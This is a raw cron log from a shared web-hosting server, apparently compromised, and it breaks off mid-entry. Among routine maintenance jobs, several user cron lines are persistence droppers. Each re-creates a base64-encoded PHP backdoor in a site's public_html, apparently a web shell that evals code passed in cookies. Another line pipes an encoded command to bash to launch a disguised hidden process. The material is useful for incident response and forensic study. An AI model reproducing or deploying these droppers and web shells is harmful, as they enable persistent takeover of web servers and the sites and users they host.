Apr 19 08:00:02 medusa CROND[8677]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 08:00:02 medusa CROND[8678]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Apr 19 08:00:02 medusa CROND[8679]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:00:02 medusa CROND[8680]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 08:00:02 medusa CROND[8681]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 08:00:02 medusa CROND[8682]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:00:02 medusa CROND[8684]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 08:00:02 medusa CROND[8687]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 08:00:02 medusa CROND[8688]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Apr 19 08:00:02 medusa CROND[8683]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Apr 19 08:00:02 medusa CROND[8691]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:00:02 medusa CROND[8694]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Apr 19 08:00:02 medusa CROND[8695]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 08:00:02 medusa CROND[8701]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:00:02 medusa CROND[8704]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:00:02 medusa CROND[8709]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:00:02 medusa CROND[8713]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Apr 19 08:00:02 medusa CROND[8715]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 08:00:02 medusa CROND[8716]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 08:00:02 medusa CROND[8719]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Apr 19 08:00:02 medusa CROND[8720]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:00:02 medusa CROND[8721]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:00:02 medusa CROND[8722]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:00:02 medusa CROND[8725]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Apr 19 08:00:02 medusa CROND[8726]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 08:00:02 medusa CROND[8728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 08:00:02 medusa CROND[8732]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 08:00:02 medusa CROND[8731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:00:02 medusa CROND[8727]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 08:00:02 medusa CROND[8733]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Apr 19 08:00:02 medusa CROND[8723]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 08:00:02 medusa CROND[8735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:00:02 medusa CROND[8743]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:00:02 medusa CROND[8712]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 08:00:02 medusa CROND[8718]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 19 08:00:02 medusa CROND[8724]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 08:00:02 medusa CROND[8737]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 08:00:02 medusa CROND[8698]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 08:00:02 medusa CROND[8711]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Apr 19 08:01:01 medusa CROND[2054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:01:02 medusa CROND[2108]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:01:02 medusa CROND[2109]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 08:01:02 medusa CROND[2111]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:01:02 medusa CROND[2112]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:01:02 medusa CROND[2113]: (root) CMD (run-parts /etc/cron.hourly)
Apr 19 08:01:02 medusa CROND[2114]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:01:02 medusa CROND[2115]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:01:02 medusa CROND[2119]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 08:01:02 medusa CROND[2123]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:01:02 medusa CROND[2127]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:01:02 medusa CROND[2131]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:01:02 medusa CROND[2144]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZ